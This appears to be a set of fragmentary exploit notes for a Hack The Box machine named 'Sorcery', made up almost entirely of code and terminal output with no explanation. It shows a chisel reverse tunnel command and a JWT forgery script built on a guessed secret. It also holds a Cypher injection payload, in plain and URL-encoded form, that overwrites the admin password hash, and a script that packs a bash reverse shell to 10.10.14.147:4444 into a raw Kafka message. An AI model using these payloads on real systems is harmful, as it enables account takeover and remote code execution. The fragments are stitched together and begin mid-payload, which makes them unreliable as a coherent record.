Sorcery
chisel server --port 8000 --reverse --socks5
   └─$ echo -n "P@ssw0rd123" | argon2 somesalt -id -t 2 -m 15 -p 1
   Type:             Argon2id
   Iterations:       2
   Memory:           32768 KiB
   Parallelism:      1
   Hash:             4f09ef2131dea271795bb3ff1901f4b0bafeca7b561b82de21991deec345c701
   Encoded:          $argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$TwnvITHeonF5W7P/GQH0sLr+yntWG4LeIZkd7sNFxwE
   0.215 seconds
   Verification ok
   import jwt
   import time
   secret ="mysecretkey"
   payload ={
   "id":"13964762-e847-4351-9419-0cd43d57ef40",
   "username":"eqnx",
   "privilegeLevel":2,
   "withPasskey":False,
   "onlyForPaths":None,
   "exp":int(time.time())+3600 # 1 hour expiry
   }
   token = jwt.encode(payload, secret, algorithm="HS256")
   print(token)
   {"keys":[{"alg":"RS256","e":"AQAB","kid":"mVZr-LKwH47bS_z5ecsImD-
   juQyGAUe2gZd8lfmm15s","kty":"RSA","n":"ya32OuZSjWgNIBldxvH28APu_ZQkEw8-oAWwIEFI-LopkDll3b-
   anY0ZROJutYVZpFowPU7D6Sq4q2fJDMyPLGdOe6Tc8wEewpnRYfIesPXLeVhV5e5ucDX4kwpImiAvdGPxgFc_P7prnVZj1FhvHHsDHsdnSGyCNd
   l3jsHERol_eCHLYBRg2_pp7mSoxAjFuSdwjPlBTcdrNB0mcgRw9XsXbYziGQkIgWpHROCm-
   43CiEwk89jju8JNleaEdEXOvi6ias6dXYhbTsAMpiQdMbQ4Ns5jFKegsxAuIAQ_U1PzWswR8x3zVc6kV1LksCzt0M--
   pLP05Jbo86GEO7Cvz1HjMIXOW70HCOewXI-
   DmHHSfSuKYREFlBi73_RdXIeKvAsmb7ERmCtBmkFf9D2vZdD7T1a5ssuxyI89VaqqwivR_o0a75ne7kbtUdJSoBTm7ZyAqTOyyB3rxbV1hE-
   5tLIxiqnHLidVljZiU68dSFIaAW0NvGPa7HFL-ghN3jrseYaqsCgwEqltv9JB-yy0FcM-
   Sv5fwZ_tfCVIxGs7D_DArCsxg6KIItviUDOkTTOEpSeCEfqhp9C2giGgcz4UONbDTRB7BdpP49NH6vp5J2aJwA7zhHX9btTqqebp7GKKUEanTdU
   lZmaj5MlrneRv6CJpYXrHz0nPHn3UiCj_4Vc","use":"sig"}]}
   echo -n "P@ssw0rd123" | argon2 somesalt -id -t 2 -m 15 -p 1
"}) WITH result MATCH (u:User {username: 'admin'}) SET u.password =
'$argon2id$v=19$m=32768,t=2,p=1$c29tZXNhbHQ$TwnvITHeonF5W7P/GQH0sLr+yntWG4LeIZkd7sNFxwE' RETURN result { .*,
description: 'admin password updated' } //
https://sorcery.htb/dashboard/store/88b6b6c5-a614-486c-9d51-d255f47efb4f
~]
└─$ python3 try1.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjEzOTY0NzYyLWU4NDctNDM1MS05NDE5LTBjZDQzZDU3ZWY0MCIsInVzZXJuYW1lIj
oiZXFueCIsInByaXZpbGVnZUxldmVsIjoyLCJ3aXRoUGFzc2tleSI6ZmFsc2UsIm9ubHlGb3JQYXRocyI6bnVsbCwiZXhwIjoxNzUwMzY1Nzgwf
Q.k0DaHIhGVjSb0-f9m-zI8b8x-hwNb1HxrevnKTvkLmU
%22%7D%29%20WITH%20result%20MATCH%20%28u%3AUser%20%7Busername%3A%20%27admin%27%7D%29%20SET%20u.password%20%3D%2
0%27%24argon2id%24v%3D19%24m%3D32768%2Ct%3D2%2Cp%3D1%24c29tZXNhbHQ%24TwnvITHeonF5W7P%2FGQH0sLr%2ByntWG4LeIZkd7s
NFxwE%27%20RETURN%20result%20%7B%20.%2A%2C%20description%3A%20%27admin%20password%20updated%27%20%7D%20%2F%2F
import struct, zlib, binascii
topic = b"update"
value = b"bash -c 'sh -i >& /dev/tcp/10.10.14.147/4444 0>&1'"
def msg(v):
    body = struct.pack(">BBi", 0, 0, -1) \
         + struct.pack(">i", len(v)) \
         + v
    crc = zlib.crc32(body) & 0xffffffff
    # <-- pack as unsigned 32-bit
    return struct.pack(">I", crc) + body
mset = struct.pack(">q", 0) \
     + struct.pack(">i", len(msg(value))) \
     + msg(value)
pdata = struct.pack(">i", 0) \
      + struct.pack(">i", len(mset)) \
      + mset
tdata = struct.pack(">h", len(topic)) \
      + topic \
      + struct.pack(">i", 1) \
      + pdata
body = struct.pack(">h", 1) \
     + struct.pack(">i", 10000) \
     + struct.pack(">i", 1) \
     + tdata
hdr = struct.pack(">hhih", 0, 0, 42, 3) + b"dbg"
pkt = struct.pack(">i", len(hdr) + len(body)) + hdr + body
print(pkt.hex())